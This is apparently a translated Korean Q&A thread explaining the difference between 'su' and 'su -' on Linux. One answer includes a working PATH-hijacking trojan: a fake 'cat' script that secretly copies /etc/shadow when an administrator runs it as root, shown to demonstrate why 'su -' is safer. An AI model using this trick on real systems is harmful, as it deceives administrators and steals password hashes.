su만 사용하지 않고 su를 사용하는 이유는 무엇입니까?

su만 사용하지 않고 su를 사용하는 이유는 무엇입니까?

왜 루트로 로그인하는 것이 su -우선 인지 이해가 되지 않습니다 .su

답변1

su -사용자 전환 후 로그인 쉘을 호출하십시오. 로그인 쉘은 대부분의 환경 변수를 재설정하여 깨끗한 기반을 제공합니다.

su사용자를 전환하고 기존 사용자와 거의 동일한 환경의 일반 쉘을 제공하면 됩니다.

당신이 컴퓨터에 대한 일반 사용자 액세스 권한을 가진 소프트웨어 개발자이고 무지한 관리자가 루트 액세스 권한을 부여하지 않는다고 상상해 보십시오. (희망적으로) 그를 속이자.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

이제 홈 폴더에서 더미 파일을 사용할 수 없는 이유를 관리자에게 문의하면 cat작동하지 않습니다.

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

관리자가 그다지 똑똑하지 않거나 약간 게으른 경우 관리자가 책상에 와서 자신의 수퍼유저 권한을 사용하려고 할 수 있습니다.

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

우와! 최고관리자님 감사합니다!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

헤헤.

$PATH손상된 변수는 재설정되지 않는 것을 볼 수 있습니다 . 관리자가 호출하면 su -이런 일이 발생하지 않습니다 .

답변2

su -완전히 루트로 로그인할 수 있으며 su루트인 것처럼 가장할 수 있습니다.

가장 확실한 예는 ~사용된 경우 루트의 홈 디렉토리 su -이고 사용된 경우에는 자신의 홈 디렉토리입니다 su.

시스템에 따라 이는 PATH프롬프트 또는 기록 파일의 차이를 의미할 수도 있습니다.

따라서 귀하가 시스템을 관리하는 팀의 일원이고 동료가 실행 명령을 제공하는 경우 모두 su -사용su

반면에 루트로 명령을 실행하되 자신만의 구성을 사용하고 싶다면 su이것이 더 나을 수도 있습니다.

또한 루트로 실행되는 쉘을 시작하는 옵션이 sudo있다는 것을 잊지 마십시오 . -s물론 여기에도 다른 규칙이 있으며 사용하는 배포판에 따라 변경됩니다.

답변3

주요 차이점은 다음과 같습니다.

su - username지정된 사용자 환경 변수에 액세스하고 사용하는 지정된 사용자에 대한 클린 로그인인 것처럼 쉘 환경을 설정합니다.

su username지정된 사용자에 대한 현재 환경 설정으로 셸을 시작하면 됩니다.

su사용자 이름을 사용하지 않고 지정 하지 않으면 su -기본적으로 루트 계정이 사용됩니다.

답변4

저는 일반 사용자로 디렉토리에 있지만 루트로 전환하고 전환 후 동일한 디렉토리에 머물고 싶을 때 su를 사용합니다. su -를 사용하면 사용자가 루트로 전환되고 루트 홈 디렉터리인 /root로 이동됩니다.

관련 정보